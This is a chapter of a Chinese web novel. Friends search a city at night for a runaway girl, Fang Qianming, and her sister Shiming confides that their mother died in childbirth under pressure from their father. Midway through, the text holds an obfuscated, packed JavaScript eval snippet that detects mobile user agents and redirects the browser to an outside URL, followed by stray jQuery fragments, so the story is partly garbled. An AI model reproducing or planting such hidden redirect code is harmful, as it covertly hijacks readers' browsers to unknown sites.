温炽谢寂着急忙慌地下了摩天轮,谢寂让温炽去取车,他在摩天轮门口等她。
温炽不作他想,取车接到谢寂,等两人到酒店的时候,方一鸣已经将酒店翻了底朝天,正在监控室看录像。
“有线索了吗?”温炽问。
“千鸣不在酒店,监控显示她出去了,至于去哪里了,我还在看。”方一鸣急得满脑门汗。
谢寂:“方千鸣的监控手环呢?”
“她洗澡的时候放在浴室了,我想着也不着急,洗完澡以后再出来给她戴上也来得及,但我出来时,她已经不见了。”
谢寂皱眉,眼里闪过一丝不认同,方一鸣也懊恼地揪头发:“我的错,我应该让她一直戴着的。”
“现在说这些没有用,先找到人再说,方一鸣,你是千鸣的哥哥,不能自乱阵脚。”温炽晃了晃谢寂的手臂,见谢寂收敛神情后松开,“我打电话给十鸣,千鸣那么喜欢十鸣,说不定会在路上托人联系她。”
闻言,方一鸣定了定神:“好,我去联系实验——”
“等等。”谢寂说,“我们先找,方千鸣没那么弱。”
他轻声说:“赵日心有多重视我们,你应该清楚,这件事他要是知道,方千鸣在稳定之前,都没有机会再见到你们。”
温炽正打电话,听到这句话,看了谢寂一眼。
经过谢寂的提醒,方一鸣立即放下手机,尽量让自己的声音听起来冷静:“对,千鸣几年见不到我们,肯定会哭的。”
温炽将和方十鸣的视频开到免提,神情沉重:“十鸣说千鸣没有联系她,她那边也在找了,我和她通着话,实时共享信息。”
这时,一直看监控的工作人员喊道:“有了。”
他指向监控的一角:“她往这条小路走了,只是这条小路没有监控,里面有好几个分岔口,具体会从哪条路口出来,我们也不清楚,目前也找不到。”
“这条路......”谢寂戴上眼镜,点开监控大屏仔细看,“好像是通往车站的路?”
温炽灵光一现:“我知道了,她是不是想去找十鸣?”
见众人都看向她,她继续说:“吃晚饭的时候,千鸣不是说过自己放假了,想要去找十鸣吗?”
当时方一鸣和十鸣在吵架,完全没将方千鸣这句话当回事儿,谢寂是没关注他们争吵的内容,只有全心全意听八卦的温炽记得清楚。
经过她的提醒,大家也有点回忆起这句话。
方十鸣在语音里说:“既然监控里显示她走进这条路了,那我们无论如何都要去找的。”
“吃吃,谢寂对Y市比较熟,麻烦你们帮忙沿着那条路口找小...方千鸣。”
“方一鸣你把酒店看监控的工作人员电话给我,我让管家和他们通话,一看到方千鸣,我联系你们。”
方一鸣急道:“我也跟谢寂一起去找千鸣。”
“你冷静些。”方十鸣说,“你对Y市不熟,去也是累赘,不如直接在动车站等人,方千鸣对路不熟,又是走路,不会那么快就到车站。”
温炽补充道:“Y市的机场和动车站在同一条路上,千鸣也有可能去机场了,我再找个人去机场等她。”
“......不用。”方十鸣抿了抿唇,说,“方千鸣恐高,不敢一个人坐飞机,如果她真决定一个人找我,只会选择动车。”
“......”
分工完毕,温炽和谢寂一人骑了一辆共享单车,沿着小巷找人。
骑到小巷里的岔路口,温炽谢寂分开行动。
小巷是隐藏在繁华市中心的老古董,已经存在了几十年,路面泥泞,鲜有车辆。
突然,方十鸣在视频里喊道:“吃吃,等一下!”
“怎么了?”温炽刹车。
“你刚刚是不是路过一条小路?”
温炽将车倒回去,果然看到一条只有一个人能通过的暗巷,她犹豫道:“这条路这么暗,千鸣不会走吧?”
方十鸣放大另一部手机上的地图软件,最终确信道:“……但从这条小路走更近,麻烦你进去看一下。”
“行。”
暗巷一盏灯都没有,温炽只能加倍小心地骑车,路面颠簸至极,荡得她一句话能拐几个弯:“该死的地图,只要有人走过一次,什么破路都导航。”
方十鸣沉下眼睑,看着地图上最近路线的标志,没有回话。
就在这时,温炽突然听到一声小小的呜咽,她愣了愣,方十鸣已经急急脱口:“是她。”
温炽的神经一下子紧绷,更加奋力地踩脚踏车,果然,前面出现一道小小的身影。
“千鸣。”温炽喊道。
那道小人影浑身一抖,回过头,肿着一双灯泡眼,上面还挂着泪珠,委屈地喊:“漂亮姐姐?”
真是她!
温炽停好车,跑到方千鸣身边,她的小脸灰扑扑的,蝴蝶结也歪在发尾,漂亮的白色小皮鞋上沾满了泥泞,值得庆幸的是,除了脏点,人没事。
“太好了,终于找到你了,大家快急死了。”温炽打开其他人的聊天界面,“我给他们发个消息。”
比她更快的是方十鸣的怒吼:“方千鸣,你不要命了吗?大晚上一声不吭地跑出去,要是被有心之人抓走会有什么后果,你有想过吗?”
方十鸣鲜少如此生气,她的吼声在暗巷中回荡,温炽差点没抓住手机,方千鸣更是害怕地嗫嚅:“姐,姐姐?”
“你少喊我姐姐!”方十鸣吼道,“你知道你突然离开酒店,会让人多担心吗?”
“我,我不是故意的,我给哥哥留了纸条,就压在桌子花瓶下面……”
“纸条?”温炽疑惑道。
“方一鸣没看到吧。”方十鸣气得大脑嗡鸣,“即便如此,你也不该一个人擅自离开,下次再这样,我不会管你的!”
方千鸣害怕了,眼泪立即掉了出来,伤心地揪紧裙摆:“千鸣不是故意的,千鸣只有三天假期,哥哥要待好久,我不想让他为难,又想去找姐姐呜呜呜呜.......”
“十鸣,先别气了,人没事就好。”
方十鸣深深呼吸一口气,压下心中的后怕,没回话。
但方千鸣的哭声已经止不住了,她哭得撕心裂肺,像是要将这几年的委屈通通发泄出来:“姐姐已经很久没有看千鸣了,千鸣每年最期待的就是放假了,所以才会着急去见姐姐的,姐姐不要生气呜呜呜。”
“好了好了,十鸣她不气了。”温炽急急地四处找纸,却在这时,身边递来一张干净的纸巾,温炽抬头,谢寂竟然已经找到了她。
“你,你怎么这么快?”温炽惊诧道,而且还一点声音都没有,和瞬移似的,见他身后没车,又问,“自行车呢?”
“停好了,我跑过来的,那条路我已经找过没有,找你的时候听见巷子里有动静。”谢寂满头大汗。
那也太快了......
想到谢寂的特殊,她没有再问,接过纸巾替方千鸣擦眼泪,但方千鸣眼泪决堤,越擦越多,温炽不禁焦头烂额。
方十鸣说:“这个时候她已经听不进去话,抱起她,拍拍后背,再这样哭会岔气。”语气里夹杂着些许不易察觉的急迫。
温炽试着抱起她,拍了几下,方千鸣好多了,但她抱了一会儿就觉得手臂打颤,谢寂伸出手:“我来吧。”
“嗯。”
谢寂接过,他抱得稳,有规律地拍打方千鸣的后背,渐渐地,方千鸣的哭声越来越小,哭累了,便趴在他的肩头沉沉睡去。
温炽呼出一口气,甩了甩手臂。
方十鸣说:“谢谢你们,给你们添麻烦了。”
“千鸣没事就好,我们先回去吧,方一鸣已经打车回酒店了。”温炽扶起车,和谢寂一起走出暗巷。
他们走在小巷中,没有了刚刚惊心动魄的害怕,周围只有夏风簌簌,蝉声阵阵,远离大城市的喧嚣,反倒让温炽想起很小的时候,和谢寂散步梧桐巷时的惬意。
她管着车,看方千鸣趴在谢寂肩上睡得很香,睫毛上都是泪珠,不禁好奇地问方十鸣:“十鸣,千鸣真的很喜欢你,为什么不想去看她呢?”
虽然温炽很喜欢方千鸣,但她也是十鸣的朋友,十鸣不是那种会无缘无故针对一个人的人,更何况今天的事,让温炽觉得十鸣也没那么讨厌千鸣,或许另有隐情。
方十鸣久久没有回话,就在温炽以为方十鸣不想说时,她开口了:“我们的母亲是因为生千鸣难产死的。”
温炽愣住,下意识看向谢寂,谢寂微微摇晃脑袋表示自己不清楚。
“吃吃,记得我在海边和你说的无效全能的异能者设定吗?无效者,除非特殊情况,终其一生都难被发现她们的异能,”
谢寂不轻不重地瞥了手机一眼。
温炽点点头,意识到方十鸣可能看不清,又说:“记得。”
“这个特殊时刻,便是无效者生下孩子的那一刻。”
温炽紧了紧车把手,她不明白为什么话题会转到方十鸣的小说设定上,但她听出方十鸣话里的郑重,便跟着问:“为什么?”
“无效者......不论男女,他们都很难怀孕,但只要怀孕,他们的孩子必然是异能者,孩子降生的瞬间,各个实验室捕捉异能因子的机器,便能探测到新的异能者的诞生,同时连带着发现无效者。”
温炽心中震动,她又扫了一眼谢寂,见谢寂沉着脸静静地听着,她若有所思地低下头。
方十鸣讥笑一声:“我也说过,会有人利用异能者最后一丝价值,直到他们死亡。对于我来说,母亲的死亡就像被利用的异能者。”
“我的父亲本只是个小小的商人,经营一家要死不活的公司,因为我和一鸣的诞生,他得以和天海实验室搭上线,得到第一桶金,平步青云。”
“可他的欲望远不止于此,他想要坐到更高的位置,就需要更高的业绩,更多的...贡献,于是,即便母亲的身体已经十分虚弱,无法负担怀孕带来的伤害,他依然强迫我的母亲怀上千鸣。”
“最后结果显而易见。”
“我......亲眼看着妈妈被蒙着脸推了出来,而老头第一时间竟然是去看千鸣的安危,对于妈妈的尸体,只是平淡地说了一句‘罢了’”
“罢了?”方十鸣轻描淡写地重复这两个字,可她的声音却低了几度,像是压抑巨大的恨意,“好可笑的两个字,好似他亏了一般。”
镜头看不到的地方,她双手紧握,指甲深陷掌心的肉中,染红指尖:
“千鸣的诞生,让他如愿搭上更高的枝头,甚至有资格迎娶权贵的女儿,营造出家庭和睦,其乐融融的画面,每次宴会上我看到他们的笑脸,就会想到这一切都是牺牲母亲换来的,便恨不得撕了那一张张虚伪的面孔!”
但方十鸣依旧自虐地参与每次宴会,也从未真的和老头撕破脸。
她就是要借着老头的势力、资源,一步一步朝上爬,最后夺走老头的一切,将他踹下他最爱的王座。
这件事她没有和任何人说过。
至于方一鸣……母亲死后,他做出了和她完全相反的选择。
他不再对老头投射任何情感,变得敏感多思,自觉担任起母亲的职责,看护妹妹们。
虽然方十鸣有时候觉得他的过度保护杞人忧天,但在她心里,仍然将方一鸣当作为数不多的亲人。
“那...你是因为这件事讨厌千鸣的吗?”温炽声音轻轻的,仿佛担心语言的力量会伤害到方十鸣一般。
“不是,千鸣她......”方十鸣闭了闭眼,压下心底澎湃的情绪,“和妈妈越来越像了。”
“我也不知道自己怎么了,每次看到她,都压抑不住心底的厌恶。”
方十鸣也无法解释自己的情绪从何而来,又从何而生。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487130|202075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方千鸣小的时候她还能忍受,可随着方千鸣越长越大,每次看到方千鸣那张与母亲肖像的脸,厌恶便排山倒海地涌来,将她吞噬。
她克制不住自己的恶意,只能减少去见方千鸣的次数。
“我知道这样的自己很过分,也让人厌恶,想必千鸣未来也会恨——”
“十鸣,你没有错,不要再苛责自己了。”温炽突然出声,没头没脑地说了这么一句话。
方十鸣纳闷地看她,却见温炽一张小脸皱巴巴的,满眼心疼地看她。
方十鸣十指蜷缩,这样的眼神她见过。
在妈妈预产期的前几天,妈妈摸着她的头,就是用这样的眼神看她,里面有遗憾、担忧、心疼,好似.....
好似受了天大的委屈是她。
可是怎么能是她呢?是妈妈,是被她的刻薄伤害的方千鸣,是对她叛逆无可奈何的方一鸣,总归不该是她。
温炽鼻尖酸楚,方十鸣嘴上说着恨父亲,恨千鸣,可是她听得真切,方十鸣一字一句,最恨的是她自己。
她无法原谅害妈妈被发现身份的自己,从此被困在了妈妈被推出来的那一刻。
所以她见不了和妈妈越来越像的千鸣,宁愿表现得刻薄可恶,做连自己都讨厌的人,因为她希望千鸣恨她。
“十鸣,我没有见过你的母亲,按道理来说,我没办法代表她说没有责怪你之类的话,可是......”
温炽抽抽鼻子:“你和方一鸣都如此优秀善良,我想,你们的妈妈,当初必然万分期待你们的到来,用心浇灌你们长大。”
“她一定很爱你们,更不可能会因此厌恶你。”
方十鸣胸膛剧烈地起伏。
那些她看不明白的愤怒,厌恶,被温炽轻易的共情。
她终于看清了身边的迷雾,原来她只是个不愿面对现实的胆小鬼,固执地将自己钉死在七年前,不知不觉伤害了身边的人。
还用恨意作为借口,她只是在惩罚自己,利用方千鸣让自己得到解脱罢了。
她的厌恶针对的从来不是千鸣,而是她自己。
所以,她应该......
“但是十鸣,如果这样可以让你好受,走不出去也没关系。”温炽弯起眼眸,如同天边的弦月,“海岛上我说的话,对你也算数。”
【那你能接受你的亲人,朋友,爱人是这样的存在?】
【当然可以,他们变成什么样我都能接受。】
所以,没有什么应该不应该做的事,只有你想做和不想做的事。
作为你的朋友我早就接受了你的一切,包括懦弱胆小的一面,就算不愿改变也没关系,我可以接住全部的你。
方十鸣瞳孔骤缩,心中大恸,她慌乱地站起身,温炽看她消失在镜头内,没有作声,静静等待。
许久,听筒里传来她颤抖的回声:“千鸣,今天哭得很伤心...”
“是啊。”温炽松了一口气,她笑道,“等她醒来,你去给她道歉好不好?毕竟你是姐姐,姐姐让让妹妹嘛。”
方十鸣声音嘶哑却坚定道:“好。”
挂断电话,温炽看向前方。
为了方便她们打电话,谢寂已经走到前面,千鸣在他肩上睡得正熟,在昏暗的小巷里,竟也品出几分温馨。
事情解决了,温炽整个人松弛了下来,她骑上单车,追了上去,笑道:
“小谢同学,一个人走在漆黑的小巷里怕不怕?”
谢寂被她逗笑:“怕。”
“那你求求我,本保镖就骑着我的汗血宝马给你护航。”
“好,”谢寂顺从道,“那就先谢谢吃吃保护我了。”
“小意思。”温炽敞开双腿,任由车辆惯性滑行,她用胳膊肘戳戳谢寂,“小谢同学其实挺关心方家兄妹的嘛。”
谢寂不明所以地看她。
“你开口阻止方一鸣打电话给实验室,可是很笃定地说千鸣没那么弱的。”
谢寂了然,神色隐在眼镜后:“我比方家兄妹迟几年离开实验室,方千鸣送进来时,帮忙照看过,后面习惯了,会时不时留意她的状态。”
谢寂不是什么乐于助人的人,愿意照看方千鸣,大概率看在方一鸣的面子上。
虽然他嘴上从来没说,但在心里,或许很早就承认方一鸣了。
“这样啊,小谢同学一如既往地外冷内热。”
实验室的时光是温炽从未参与的过去,她仰头看天上的星星:“你们实验室……”
“什么?”
温炽回过神,笑了笑:“没什么。”
-
温炽回到酒店,方一鸣已经站在门口,在看到趴在谢寂身上的方千鸣时,激动地掉下小珍珠。
方千鸣被他吵醒,见哥哥哭成一团,也张大嘴和哥哥抱在一起哭。
温炽和谢寂帮忙谢过酒店工作人员,一回头就看这两位哭得昏天黑地,头都大了,连忙拉着人送进客房。
此时天色不早,温炽看了一眼时钟,已经将近十点,即使赶到摩天轮,喷泉也早就结束了。
听说在市中心开启喷泉的那一天,坐在摩天轮里告白,如果水柱高过摩天轮,就可以得到永恒的祝福,和恋人永远地在一起。
温炽长叹一口气,她安慰自己,今天喷泉水柱那么萎靡,就算成功告白了,也不能从窗外看到水柱,沾不到这份好彩头,想到这,她又释怀了。
总归方千鸣没事就好。
他们没有多留,送回方家兄妹回房,温炽去停车场取车。
她在酒店门口等待了一会儿,才看到姗姗来迟的谢寂,他戴好眼镜,对温炽说:“我来开吧。”
温炽一天也累了,欣然让出主驾。
车辆快速地行驶在路面,温炽玩了一会儿手机,摸了摸酸痛的脖颈,一抬头,却见窗外不是回家的路,倒像是……
开往市中心广场的路段。